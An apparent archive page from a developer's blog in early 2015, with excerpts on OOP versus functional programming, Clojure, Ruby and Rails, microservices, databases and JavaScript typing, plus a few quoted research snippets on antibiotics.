"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/coffee-rails-4.0.1/lib/assets/javascripts" ] Source March 16th, 2015 No Comments # Functional design patterns Interesting: A good talk (~45 min) on this topic by Stuart Sierra: http://www.infoq.com/presentations/Clojure-Design-Patterns Not necessarily binding and authoritative, but I recognized a number of his examples from my own experience using FP for data analysis. Examples written in Clojure, but likely applicable to any FP language. The names he gives to the patterns he covers are: State/Event Consequences Accumulator Reduce/Combine Recursive Expansion Pipeline ... Read More Source March 16th, 2015 No Comments # The tech industry reaction against cloud computing Interesting: When Matt and Quin founded Swiftype in 2012, they chose to build the company’s infrastructure using Amazon Web Services. The cloud seemed like the best fit because it was easy to add new servers without managing hardware and there were no upfront costs. Unfortunately, while some of the services (like Route53 and S3) ended up being really useful and incredibly stable for us, the decision to use EC2 created several major problems that plagued the team during our first year. Swiftype’s ... Read More Source March 16th, 2015 No Comments # Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute. Upgrading to Rails 4. I am not sure what this means, so I will leave this note to myself, and come back and read more later. 5.6 Active Model Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute. Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same ... Read More Source March 16th, 2015 No Comments # Rails adds a lot to the$LOAD_PATH

I guess I knew this but I was still surprised to look and see how many paths there are in one small Rails project.

bundle exec rails c

irb(main):001:0> puts $LOAD_PATH /Users/lkrubner/projects/pasha/fiit/lib /Users/lkrubner/projects/pasha/fiit/vendor /Users/lkrubner/projects/pasha/fiit/app/assets /Users/lkrubner/projects/pasha/fiit/app/controllers /Users/lkrubner/projects/pasha/fiit/app/decorators /Users/lkrubner/projects/pasha/fiit/app/helpers /Users/lkrubner/projects/pasha/fiit/app/mailers /Users/lkrubner/projects/pasha/fiit/app/models /Users/lkrubner/projects/pasha/fiit/app/controllers/concerns /Users/lkrubner/projects/pasha/fiit/app/models/concerns /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/vendor /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/decorators /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/helpers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/mailers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/helpers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/models /Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/lib /Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/decorators /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-acts-as-indexed-2.0.1/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-acts-as-indexed-2.0.1/app/decorators /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/quiet_assets-1.1.0/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/seo_meta-2.0.0.rc.1/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/seo_meta-2.0.0.rc.1/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/helpers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/presenters /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/controllers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/helpers /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/models /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/app/controllers 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/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/json-1.8.2 /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/json-1.8.2/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/i18n-0.7.0/lib /Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rake-10.4.2/lib /usr/local/lib/ruby/gems/2.1.0/gems/bundler-1.8.5/lib /usr/local/lib/ruby/site_ruby/2.1.0 /usr/local/lib/ruby/site_ruby/2.1.0/x86_64-darwin11.0 /usr/local/lib/ruby/site_ruby /usr/local/lib/ruby/vendor_ruby/2.1.0 /usr/local/lib/ruby/vendor_ruby/2.1.0/x86_64-darwin11.0 /usr/local/lib/ruby/vendor_ruby /usr/local/Cellar/ruby/2.1.5/lib/ruby/2.1.0 /usr/local/Cellar/ruby/2.1.5/lib/ruby/2.1.0/x86_64-darwin11.0 Source March 16th, 2015 No Comments # A shell script which turns your OS X laptop into an awesome web development machine Interesting: What it sets up Bundler for managing Ruby libraries Exuberant Ctags for indexing files for vim tab completion Foreman for managing web processes gh for interacting with the GitHub API Heroku Toolbelt for interacting with the Heroku API Homebrew for managing operating system libraries ImageMagick for cropping and resizing images Node.js and NPM, for running ... Read More Source March 14th, 2015 No Comments # Redis for microservices with Clojure This is a very good explanation of a microservices system with Clojure and Redis: I drew a picture of how I wanted to break apart a monolithic application and instead run different parts of the application in separate processes / separate JVMs. The idea was to have a single client for the connection to the Twitter Streaming API and the persistence of the received Tweets in ElasticSearch, plus multiple machines to serve WebSocket connections to the client. For the communication ... Read More Source March 14th, 2015 No Comments # Rubinius X as the future of Ruby Interesting: The internet has caused a fundamental change in general computing, yet many programming languages are solidly centered in the Windows 3.0 era, providing their equivalent to the Windows for Workgroups add-on to enable networking. Unfortunately, Ruby is one of those languages. To be relevant today, a programming language must provide simple yet powerful facilities for composition and collaboration. A language does not need general immutable state, purely pure functions, or complex type systems, no matter how inferred. Rubinius X is an ... Read More Source March 14th, 2015 No Comments # Ruby reinvented to look like Clojure To be clear, I like everything about Thomas Reynolds “Weird Ruby”: # The standard "record" that contains information about a file on disk. SourceFile = Struct.new :relative_path, :full_path, :directory, :types # Find a file given a type and path. # # @param [Symbol] type The file "type". # @param [String] path The file path. # @param [Boolean] glob If the path contains wildcard ... Read More Source March 14th, 2015 No Comments # Ruby concurrency needs microservices but not Elixir I was initially confused by this essay because of its emphasis on Elixir. The writers just happen to like Elixir, which is fine. I have previously said that Erlang is a work of genius, and the Erlang VM is a work of genius. Building a dynamic language on top of that VM is a great idea, and I would like to work with Elixir in the future. However, you don’t need Elixir to add concurrency to Ruby. Any concurrency oriented ... Read More Source March 14th, 2015 No Comments # What to use for Ruby background tasks? Interesting: Essentially all three perform the same task, executing background jobs, but go about it differently: delayed_job uses your SQL database for storage and processes jobs in a single-threaded process. It’s simple to set up but the performance and scalability aren’t great. I would not use delayed_job for systems processing 100,000s of jobs/day. resque uses redis for storage and processes messages in a single-threaded process. The redis requirement makes it a little more difficult ... Read More Source March 12th, 2015 No Comments # Relentless sexual assault in tech I wish I could say this surprised me, but my own female friends have told me stories like this: Here’s a non-comprehensive litmus test for if your workplace equality efforts are working or not: do they try to give the impression that workplace inequality is “under control?” Everything I have read and seen says sexism is not under control in tech, and that it is in fact wildly out of control. Sexism in tech is not a thing to be kept ... Read More Source March 12th, 2015 No Comments # Netflix monitors its micro-services Interesting: The ability to decompose where time is spent both within and across the fleet of microservices can be a challenge given the number of dependencies. Such information can be leveraged to identify the root cause of performance degradation or identify areas ripe for optimization within a given microservice. Our Mogul utility consumes data from Netflix’s recently open-sourced Atlas monitoring framework, applies correlation between metrics, and selects those most likely to be responsible for changes in demand ... Read More Source March 12th, 2015 No Comments # Mike MacHenry: Object-oriented programming has one major flaw which is that no one agrees what it really is Mike MacHenry sums up the problems of OOP. Interesting: Object-oriented programming has one major flaw which is that no one agrees what it really is. Everyone’s definition seems to be a collection of completely orthogonal ideas, most of which belong equally to some other, non-OOP paradigm. It makes it impossible to to get a clear answer to questions about the topic. To the best of my knowledge, through extensive reading, the best answer I can come up with for what object-oriented ... Read More Source March 12th, 2015 No Comments # Contracts in Ruby are part of the new style Much more than PHP or Python, the Ruby community is constantly pulling in new ideas from other programming language, and we see the emergence of new Ruby styles: # The standard “record” that contains information about a file on disk. SourceFile = Struct.new :relative_path, :full_path, :directory, :types # Find a file given a type and path. # # @param [Symbol] type ... Read More Source March 12th, 2015 No Comments # Object-oriented Programming cannot save us anymore Obviously, I agree with this. See what I wrote earlier todayIs Erlang an Object Oriented Language?. That promised time when we’d have applications running distributed and concurrently finally has come. Unfortunately, we are not ready: our “current” (i.e., most used) model for concurrency and parallelism, even though might solve the problem, it adds a lot of complexity. For a better applications, we need a simple and reliable manner to do it. Do you remember above-mentioned features of FP? Pure Functions and ... Read More Source March 12th, 2015 No Comments # Oracle is completely incompetent True: From the release notes: “The old syntax was meant to be only deprecated, but it was accidentally completely removed.” How could Oracle have possibly “accidentally completely removed” the old syntax for setting a password even though it “was meant to be only deprecated”, without being completely incompetent? I can not in my wildest imagination come up with a scenario in which a competent developer could possibly “accidentally remove” something like that. If they made such a huge “accident” with that security feature, ... Read More Source March 12th, 2015 No Comments # Let’s disagree with Micro-Services I like this: Anybody who tried to get a number of teams in a large organization to agree on a common technology can sympathize with this. We are all human, and tend to have passionate and strong opinions on technologies we like and hate. Put enough of these strong opinions together, and they tend to cancel each other out, leaving no common ground. This is bad news for the poor architect that needs to pick an approach for a large ... Read More Source March 12th, 2015 No Comments # 9 different package managers Interesting: About Leiningen: Pros The artifacts are signed! It simplifies the dependency definition of maven. It’s easy to publish new artifacts. It’s easy to learn how it works. It allows to reuse Java artifacts from other maven repositories. Cons It violates the “Single Responsibility” pattern. Same as Maven. Licenses are not mandatory. No Mirrors. I’ve wasted countless hours dealing with version conflicts and dependencies. I want a package manager to get things working, and I don’t care about what that requires. The semantic versioning, in terms of developing a lock ... Read More Source March 12th, 2015 No Comments # At a certain scale you have to give up on the single, normalized, canonical database I am surprised this article by Yorick Peterse, attacking MongoDB, got so much attention. The company used to use MySQL and MongoDB, but now they just use PostGres for everything. PostGres is a great technology, and I would always prefer to MySQL. I question the intelligence of a company that uses MySQL, when PostGres is such a good choice. But if a writer tries to compare PostGres and MongoDB, then I have to question their intelligence, since the 2 technologies ... Read More Source March 12th, 2015 No Comments # Is Erlang an Object Oriented language? A lot of people have read my essay from October 7th, 2014, “Object Oriented Programming is an expensive disaster which must end“. Many people like the essay, and many people hate the essay. The people who hate the essay often raise the possibility that I am a troll. They also feel that the whole essay should be dismissed based on its mistakes. I have been meaning to write a second version that fixes all the mistakes of the first. The ... Read More Source March 12th, 2015 No Comments # Are you sure objects are an improvement of procedural programming? Interesting: This question is an endless source of flame wars. Ruby is better than Java because it has dynamic typing, which in turn allows for short, concise source code. Yeah, right, the Java guys say, your programs read fine, but they crash at your customer’s because type checking is left to the runtime. You’ve got it all wrong, the followers of LISP and Clojure say. Object Oriented Programming is an expensive disaster which must end. Don’t you see it’s all about ... Read More Source March 3rd, 2015 No Comments # What is the right way to use micro-services? Interesting: What I find over and over again is that micro-services appeal to leadership more than the developers. This is a somewhat confusing revelation considering micro-services are considered an architectural approach, and project managers are not supposed to fall in love with an architecture (at best, they are weary of it because ‘architecture’ is typically a code word for more boxes and increased cost and time to delivery). And yet. …Beyond solving the sheer size problem, micro-services promise to solve the ‘different ... Read More Source March 1st, 2015 No Comments # The problem with the ActiveRecord, as a pattern Interesting: The pattern (or one might say the way it is implemented) has several issues: It (seriously) violates SRP. In a typical implementation of the pattern you will have the following set of methods and properties in every class: Getting the data from database. Instantiating a new instance in memory for inserting it into the database. Saving changes to the database. Loading related entities. Validation. Usually loads of methods (inherited from the base framework class) to deal with all the complexity involved with the above-mentioned methods. Column related ... Read More Source March 1st, 2015 No Comments # PostgreSQL is great and ORMs suck Over the last 10 years I think I’ve heard all the arguments for Database Abstractions Layers (DBAL) and I’ve come to hate them. I’ve twice seen data moved from one database to another (from Oracle to MySQL and from MySql to PostGres) but in all cases I was able to write the import/export script in a day or two, so DBAL was never needed. More so, DBAL means giving up on what makes a database unique, and so you throw ... Read More Source March 1st, 2015 No Comments # The good and the bad of data-types Interestingly honest to hear someone admit that types are important but not a cure all — this is my few as well: Not distinguishing abstraction from checking This is my number-one beef. Almost all languages offer data abstraction. Some languages proceed to build a static checking system on top of this. But please, please, don’t confuse the two. We see this equivocation used time and time again to make an entirely specious justification of one language or other. We see it used to ... Read More Source March 1st, 2015 No Comments # How does ActiveRecord work? Interesting: Because find(id) is such a common query, the ActiveRecord developers have special-cased it to bypass a lot of the work that would have to be done if you were chaining together conditions or doing more elaborate queries. You can see at line 147 that this simple query is actually cached, and that this cache is checked to see if the query has been executed before. If not, the query construction begins at line 149, with the chaining of a where clause ... Read More Source March 1st, 2015 No Comments # What is object oriented programming? Interesting: Here is an a la carte menu of features or properties that are related to these terms; I have heard OO defined to be many different subsets of this list. Encapsulation – the ability to syntactically hide the implementation of a type. E.g. in C or Pascal you always know whether something is a struct or an array, but in CLU and Java you can hide the difference. Protection – the inability of the client of a type to detect its implementation. ... Read More Source March 1st, 2015 No Comments # Message passing in computers is flawed because messages can not be trusted Interesting: First of all, if you call a random object to ask it a question of any kind, you can get a denial of service in the form of nontermination. This can be mitigated by using an asychronous send or resource limitation, in which case you may get no information about the object. But it’s worse than this. Even if you ignore DOS and timeout, you might think you could do challenge/response for authentication = “type check” or brand predication. Let’s ... Read More Source March 1st, 2015 No Comments # The weaker reasons for hating object oriented programming Interesting: I didn’t think you were such an OO partisan. If you are, then you will probably find my reasons for despising it (other than the above) to be very touchy-feely, and they are. I think comprehensive OO (occasional OO is fine) is a very poor metaphor for the world, a poor tool for problem solving, and an unnatural way to think. Here are some particulars off the top of my head: - It accounts poorly for symmetric interaction, such as chemical reactions ... Read More Source March 1st, 2015 No Comments # Object Oriented Programming is a moving target OOP zealots are liars. This is the point I made in “Object Oriented Programming is an expensive disaster that must end“: Because OO is a moving target, OO zealots will choose some subset of this menu by whim and then use it to try to convince you that you are a loser. Source March 1st, 2015 No Comments # You can call yield in Ruby without an explicit block declared Very interesting: Given this: def a(&block) yield end def b yield end Running a {1+1} is 4x slower than running b {1+1}. I didn’t even know you could yield in a method without an explicit &block parameter. I’ll guess I’ll change my ways then, although I like having the block declared in the method signature so I know ... Read More Source March 1st, 2015 No Comments # The mania for object oriented programming Paul Graham says there are 5 reasons why people like object oriented programming, and 3 and half of them are wrong: I think there are five reasons people like object-oriented programming, and three and a half of them are bad: Object-oriented programming is exciting if you have a statically-typed language without lexical closures or macros. To some degree, it offers a way around these limitations. (See Greenspun’s Tenth Rule.) Object-oriented programming is popular in big companies, because it suits the way they ... Read More Source March 1st, 2015 No Comments # Is static type checking important in software for a bank? Interesting. One attitude: I always thought critical applications like banking needed compile time type checking. Clojure is neat and all, but it’s dynamic. The counter-argument: They need quality, trustworthy software. Compile time type checking is a tool that can be used to help get there (but how useful it is in getting there depends on how robust the type system is, and Java’s is not particularly robust). Clear and concise code that is readily understood, avoids visual noise so that the programmer can focus on ... Read More Source March 1st, 2015 No Comments # When will WordPress die? It seems to keep going, but I find it difficult to accept any explanation of why it keeps going: It won’t happen overnight, but WP-API will dramatically reduce the amount of active PHP code in WordPress, starting with the admin back-end. It will become a JavaScript app that talks to the WP-API sooner than anyone suspects. Front-end (read: theme) development will change at a slower pace, because rendering HTML on the server side is still the right thing to do for ... Read More Source February 25th, 2015 No Comments # Does the visitor design pattern need to exist? What does this sound like to you? The pattern should be used when you have distinct and unrelated operations to perform across a structure of objects. Wait a minute, isn’t that… a function? In a language where functions can take functions, I would simply send in a function, right? Maybe a multimethod. I wouldn’t need an interface for the “visitor”, except maybe the interface of the multimethod, right? The fact that these metaphors are so tortured is certainly a bad sign: ... Read More Source February 25th, 2015 No Comments # The angry argument against design patterns The rant: I tend to come across a lot of code written by people who read up on design patterns and than think they should use them all over the place and the result is the actual code gets buried under tons of interfaces, wrappers and layers and pretty hard to read. That’s a wrong approach to design patterns. Design patterns exist so that you have a repertoire of useful idioms handy when you come across a problem. But you should ... Read More Source February 25th, 2015 No Comments # The best argument for design patterns I do like this: Given the few items we can hold in working memory simultaneously, it’s no wonder that programming is hard; any interesting programming problem has a multitude of fine-grained parameters and possible alternatives. One way around this limitation is a process known as chunking. Chunking is an encoding strategy where individual elements are grouped into higher-level groups, chunks. While the limit on the number of units still apply, each unit now holds more information. Patterns are a sophisticated form of ... Read More Source February 25th, 2015 No Comments # The Leiningen eco-system This is a nice write up of some of the plugins one can use with Leiningen Cljfmt At long last, Clojure finally has its own gofmt-like tool, thanks to the ever-industrious @weavejester. Cljfmt both checks (lein cljfmt check) and formats (lein cljfmt fix) your code nicely in adherence to the generally accepted Clojure style rules, and has options for configuration in case you have your own feelings on the subject. Eastwood Eastwood is a Clojure linter, invoked with lein eastwood. As a general request, ... Read More Source February 25th, 2015 No Comments # Computers, patterns, humbleness The most obvious case for patterns: One such strategy is to share knowledge and base our solutions on what has been known to work well in the past. Since few designs are really novel we often find that previous solutions, at least on a conceptual level, apply to our new problem too… Patterns incorporate both of these strategies. As software developer and author of a technical book on patterns I obviously find value in the pattern format. And as a psychologist I ... Read More Source February 25th, 2015 No Comments # What do standard OOP patterns look like in Haskell? Interesting: Most software developers are familiar with the OOP motto “everything is an object.” People accustomed to C++ classes often find the Haskell concept of type classes difficult to grasp. Why is it so different? C++ classes pack functions together with data, which makes it convenient to represent and consume data. Use of interfaces (abstract classes) allow classes to interact by contract, instead of directly manipulating the data in the other class. There exist alternative ways in C++ to accomplish such ... Read More Source February 25th, 2015 No Comments # Best practice is a misnomer Interesting: As one data point on the curve, at any rate, if you were to compete with ITA and chose to write your software in C, they would be able to develop software twenty times faster than you. If you spent a year on a new feature, they’d be able to duplicate it in less than three weeks. Whereas if they spent just three months developing something new, it would be five years before you had it too. And you know what? ... Read More Source February 25th, 2015 No Comments # Pair programming is exhausting This is true. When I work with another programmer, I suddenly have to focus 100%, and interact with someone too, straining the limits of both my technical abilities and my social skills. I can do this for 30 minutes, but if I had to do it all day, everyday, I would be utterly exhausted. What about the downsides? It’s not all peaches and cream of course – pairing all the time does have some downsides. Tiring Pairing can be exhausting. Not everybody thinks ... Read More Source February 20th, 2015 No Comments # Strings in Python have the wrong number of bytes It’s an interesting dive into bytes and strings: The width of a Unicode string differs from the number of characters in it. Fortunately, we can use the POSIX standard function wcswidth to calculate the display width of a Unicode string. We can use this function to rebuild our basic formatting functionality. Source February 18th, 2015 No Comments # If we sample from a population using a sufficiently large sample size, the mean of the samples will be normally distributed Interesting: Suppose that we are interested in estimating the average height among all people. Collecting data for every person in the world is impractical, bordering on impossible. While we can’t obtain a height measurement from everyone in the population, we can still sample some people. The question now becomes, what can we say about the average height of the entire population given a single sample. The Central Limit Theorem addresses this question exactly. Formally, it states that if we sample from ... Read More Source February 18th, 2015 No Comments # All GUI toolkits are old Interesting: Cocoa is from the 1980s. Qt is from 1991. MFC is from 1992, building upon older technology. AWT is from 1995. Swing is from 1996. GTK+ is from 1997. SWT and wxWidgets just build upon these old toolkits. Windows Forms is maybe the newest, from the early 2000s. There hasn’t been a widely used UI toolkit created in the past decade, if not longer. The best we’ve seen since then are half-assed UIs built using HTML/CSS/JS, and limited mobile UIs ... Read More Source February 18th, 2015 No Comments # How to pull in patches from foreign repos Interesting: GitHub provides a special pulls remote “namespace” on the upstream repo, so you can add it as a fetch pattern to your .git/config like so: [remote "upstream"] url = https://github.com/neovim/neovim.git fetch = +refs/heads/*:refs/remotes/upstream/* fetch = +refs/pull/*/head:refs/pull/upstream/* Then when you git fetch –all, you will have ALL pull requests available in your local repo in the local pull/ namespace. To check out PR ... Read More Source February 12th, 2015 No Comments # Women learning Python Interesting. Poland is on the list more than any other country. Why is that? Source February 9th, 2015 No Comments # Is this dependency injection? Interesting. Assume a Python system that works like this: ###################################################################### ## ## DEMO ## ###################################################################### # ——————————————————————————— # Some python module defines a Bar component and states the dependencies # We will assume that # – Console denotes an object with a method WriteLine(string) # – AppTitle denotes a string that represents the current application name # – CurrentUser denotes a string that represents the current user name # class Bar(Component): con = RequiredFeature(‘Console’, HasMethods(‘WriteLine’)) title = RequiredFeature(‘AppTitle’, IsInstanceOf(str)) user = RequiredFeature(‘CurrentUser’, IsInstanceOf(str)) ... Read More Source February 9th, 2015 No Comments # How should we separate HTML from its content? Interesting: The framework of the future should make us think only about the data and only about the markup. Nothing in between. We don’t want to deal with loading HTML strings or passing data to special functions. We want to apply values to variables and get the DOM updated. The popular two-way data binding should not be a feature, but a must-have core functionality. In fact, AngularJS is close to the desired behavior. It reads the template from the provided page’s ... Read More Source February 9th, 2015 No Comments # Managing dependencies in Javascript All this work just to avoid calling “new”? This should be read as a criticism of the object oriented paradigm. Interesting: AngularJS goes a little bit further by giving us something called factory. We register our dependencies there, and they are magically available in our controllers. For example: myModule.factory(‘greeter’, function($window) { return { ‘greet’: function(text) { alert(text); } }; }); function MyController($scope, greeter) {$scope.sayHello = function() { greeter.greet(‘Hello World’); }; } In general, this approach simplifies our job. We don’t have to use a function like require to fetch the dependency. All we ...

February 9th, 2015

# How to maintain software?

Karolina Szczur writes about frontend systems we can maintain:

Practices are often built without targeting the crucial aspect of collaboration—the human factor.

The secret lies in understanding of good patterns and mindfully applying them (and we’ve elaborated on that a little bit here).

A starting point for building up effective collaboration is to create resources than can serve as learning and reference materials. One of the ways to do so is to have a style guide (see Github, MailChimp, The Guardian and A ...

February 9th, 2015

# This is not fun anymore

I have had 2 good friends of mine, both working as frontenders for many years, tell me that the work is not as fun as it used to be. 10 years ago, or even 5 years ago, working on the frontend meant doing creative worked that intermingled artistic design concerns and some technical cleverness for making the design real. But over the last 3 or 4 years, with the rise of the pure Javascript frontends, being a frontender has increasingly ...

February 9th, 2015

# Possible new Javascripts

Such a wealth of options indicates the industry is feeling real pain, and no one knows what the solution is:

* SoundScript (Google) * SaneScript (Google) * TypeScript (Microsoft) * ECMAScript 4 (Dead) * AtScript (Google) * Flow (Facebook) * Closure Compiler Strict Mode (Google) * Asm.js (Mozilla) * Dart (Google) * ...

February 9th, 2015

# Goals of Kythe

Interesting. How to get different tools to work together, via some common specification? This sounds a bit like a new approach to the problems that the industry failed to solve 10 years ago with the insane WebServices approach.

The best way to view Kythe is as a “hub” for connecting tools for various languages, clients and build systems. By defining language-agnostic protocols and data formats for representing, accessing and querying source code information as data, Kythe allows language analysis and ...

February 9th, 2015

# Gradual typing for Javascript

Here is an interesting proposal that goes beyond what TypeScript does for Javascript:

Source

February 9th, 2015

# A standardized ontology of Javascript types?

Interesting. This reminds me of the effort 10 years ago to develop standardizes ontologies for XML or RDF.

interface VimeoParams { name:string; value:any; } interface VimeoPlayerAPI { (method: string): any; (method: string, callback: (value: any, player_id: any) =>void ): any; (method: string, value: any): any; (method: string, value: VimeoParams[]): any; } interface VimeoPlayer { api: VimeoPlayerAPI; addEvent(eventName: string, callback: (e: any) =>void ): any; removeEvent(eventName: string): void; postMessage(method: string, params:VimeoParams[], ...

February 9th, 2015

Typesafe brings gradual/optional typing to Javascript:

Type annotations in TypeScript are lightweight ways to record the intended contract of the function or variable. In this case, we intend the greeter function to be called with a single string parameter. We can try changing the call greeter to pass an array instead:

function greeter(person: string) { return “Hello, ” + person; }

var user = [0, 1, 2];

document.body.innerHTML = greeter(user);

Open in Playground Re-compiling, you’ll now see an error:

greeter.ts(7,26): Supplied parameters do not ...

February 9th, 2015

# 400,000 lines of CSS at Etsy

Wow:

When Etsy announces their switch to SCSS to make their styles more maintainable the finding should not be “SASS beats CSS”, but it would be interesting to learn what lead to over 400,000 lines of CSS in over 2000 files for an actually not that complex site in the first place. The article is very interesting and shows some great differences in people dealing with code:

CSS enthusiasts love the fact that CSS doesn’t stop executing when it encounters errors — it ...

February 9th, 2015

# Javascript should not be used for everything

Interesting:

One of the great things about JavaScript is that you can do everything with it: you can do computations, you can create HTML, you can dynamically style elements, you can manipulate images, play and create music, video, and nowadays do all the HTTP work of an app, too. JavaScript is not only the leatherman of the client-side web any longer, it now took over the server, too.

That is also one of the terrible things about JavaScript. Just because you can ...

February 9th, 2015

# The 4 levels of bugs

Interesting:

So it seems like there are a few different levels of bug difficulty:

It’s immediately obvious to you what’s wrong

You Google the exception, read some documentation or Stack Overflow, and then it’s immediately obvious what’s wrong

You don’t know what’s wrong, but you know more or less where in the (open source) library code you’re using to look, and you can read the code to figure it out

You’re missing some bigger-picture of knowledge about the code you’re running that you need ...

February 8th, 2015

# ElasticSearch is amazing

We are suddenly drowning in a wealth of options when it comes to document stores. 5 years ago the default choice would have been MongoDB. But Riak is amazing, and ElasticSearch is amazing. Honestly, I don’t know how I’ll make a choice between these 3 in the future.

For making dashboards, the ELK stack is a powerful option:

We have followed the evolution of Elasticsearch from a search-specific platform to one whose power can also be leveraged for analytics. The ...

February 8th, 2015

# The benefits of testosterone

Interesting:

So he went to Cenegenics, a medical start-up that trains physicians to run their own “age management” practices. They updated his diet, put him on a new workout regimen, and started giving him testosterone. Within six months, his body fat was down to nine percent. “That’s pretty hard to maintain—I’m closer to 12 percent now,” he humblebrags. After his personal success, Cenegenics asked if he’d like to take their training course, so he did, and quickly, he found himself ...

February 8th, 2015

# Does denormalization make a linked list better?

Obviously you wouldn’t typically use the word “denormalize” when you are talking about a linked list. “Denormalize” means you are allowing a database table to accumulate redundant data. The best reason to denormalize a database is that it speeds up your software. If you embed all the records you want in one database table, then you can all the info you need with 1 query. It’s like doing a JOIN statement, but instead of doing the JOIN at the time ...

February 8th, 2015

# Azithromycin and mitochondrial biogenisis

Interesting:

The effects of a variety of oxazolidinones, with different antibacterial potencies, including linezolid, on mitochondrial protein synthesis were determined in intact mitochondria isolated from rat heart and liver and rabbit heart and bone marrow. The results demonstrate that a general feature of the oxazolidinone class of antibiotics is the inhibition of mammalian mitochondrial protein synthesis. Inhibition was similar in mitochondria from all tissues studied. Further, oxazolidinones that were very potent as antibiotics were uniformly potent in inhibiting mitochondrial protein ...

February 8th, 2015

# Can antibiotics kill cancer?

Interesting:

Here, we propose a new strategy for the treatment of early cancerous lesions and advanced metastatic disease, via the selective targeting of cancer stem cells (CSCs), a.k.a., tumor-initiating cells (TICs). We searched for a global phenotypic characteristic that was highly conserved among cancer stem cells, across multiple tumor types, to provide a mutation-independent approach to cancer therapy. This would allow us to target cancer stem cells, effectively treating cancer as a single disease of “stemness”, independently of the tumor tissue ...

February 7th, 2015

# The perfect Javascript framework

Interesting:

